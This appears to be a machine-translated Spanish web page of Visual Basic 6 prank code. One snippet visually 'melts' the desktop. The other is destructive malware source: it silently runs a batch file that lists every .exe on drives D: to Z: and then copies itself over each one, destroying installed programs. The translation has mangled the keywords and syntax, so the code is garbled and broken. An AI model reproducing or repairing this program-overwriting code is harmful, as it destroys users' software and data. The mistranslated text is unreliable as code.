Falsa del código fuente de Bat

El escritorio de la computadora se derrite, ¡este código es realmente poderoso! De hecho, no puedo ver la pantalla, como si el helado se derritiera; la función de declaración privada GetWindowDC Lib "usuario 32" (ByVal hwnd As Long) es larga

La función de declaración privada GetDesktopWindow Lib "usuario32" "() es Long

Función de declaración privada CreateCompatibleBitmap Lib " GDI 32 " (ByVal hdc es Long, ByVal nWidth es Long, ByVal nHeight es Long) es Long

Función de declaración privada CreateCompatibleDC Lib " GDI 32 " (ByVal hdc As Long)

Función de declaración privada para seleccionar objeto Lib " GDI 32 " (ByVal hdc es Long, ByVal hObject es Long)

Función de declaración privada BitBlt Lib " GDI 32 " (ByVal hDestDC mientras, ByVal x mientras, ByVal y mientras, ByVal nWidth mientras, ByVal nHeight mientras, ByVal hSrcDC mientras, ByVal xSrc mientras, ByVal ySrc mientras, ByVal dwRop mientras )

Private Const SRCCOPY = ampHCC0020 ' (DWORD) dest = fuente

Marcar x como un número entero e y como un número entero

Dim Buffer tiene la misma longitud , hBitmap tiene la misma longitud y Desktop tiene la misma longitud, hScreen tiene la misma longitud, ScreenBuffer tiene la misma longitud

privado Declare Sub invalidate Lib " user 32 "(ByVal hwnd es Long, lpRect es Any , ByVal bErase es Long)

Subventana privada Body_Load()

i. Ocultar

escritorio = GetWindowDC(GetDesktopWindow())

hBitmap = CreateCompatibleDC(escritorio)

hScreen = CreateCompatibleDC(escritorio)

búfer = CreateCompatibleBitmap(Escritorio, 32, 32)

Búfer de pantalla = CreateCompatibleBitmap(Escritorio, Pantalla. Ancho/15, Pantalla. Alto/15)

Seleccione mapa de bits de objeto, búfer

Seleccionar pantalla de objeto, búfer de pantalla

BitBlt hScreen, 0, 0, Pantalla. ancho/15,pantalla. altura/15,desktop,0,0,SRCCOPY

Para i = 0 a 1E 17

y = (pantalla. altura/15) * Rnd

x = (pantalla.

ancho / 15) * Rnd

BitBlt hBitmap, 0, 0, 32, 32, escritorio, x, y, SRCCOPY

BitBlt escritorio, x (1 - 2 * Rnd), y (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY

Actividades múltiples

Siguiente yo

End Sub también tiene The truco asesino; código vb fatal

-Declaración.

Si no comprende el código, no genere un archivo exe y ejecútelo...; de lo contrario, no me culpe por no recordárselo. . . . . . .

Declaración privada de la biblioteca sub-sleep "kernel 32" (ByVal dw milisegundos mientras)

Subform_Load() privada

Acerca de la recuperación de erroresPróxima declaración de tolerancia a fallos

Ifdir ("C: \ 123.txt") = " "Entonces, si 123.txt no existe, cree un bat para recorrer el archivo exe.

La salida "c:\a.bat" abierta es la número 1 'Abrir archivo bat.

Imprimir #1, " para a in(d:e:f:g:h:I:j:k:l:m:n:o:p:q:r:s:t: u:v:w:x:y:z:)do dir/s/b a\*.exe gt gtE: 123.txt "'Escribir datos.

' Cerrar #1 'Cierra el archivo.

Sleep 200 'Retrasa el tiempo de generación de archivos en 200 segundos (principalmente para máquinas más lentas).

shell "c:\a.bat", 0 'Ocultarlo y ejecutarlo.

Terminará si...

"Sleep 60000" retrasa 1 minuto para esperar a que se complete el recorrido del exe.

Dim() como cadena

Dim C para Largo, I para Entero

Abrir "c:123.txt" ingresar como # 1 ' Leer el contenido del texto.

Hacer mientras EOF(1) = False

ReDim Preservar A(C)

Entrada #1, A(C)

C = C 1

Anillo

Cierre #1

Para I = 0 a C - 1

Aplicación FileCopy. Caminos y caminos. " \ " ampApp. EXEName amp".'Reemplazar el contenido en txt.

Luego

Finalizar conector

lt/SPANgt.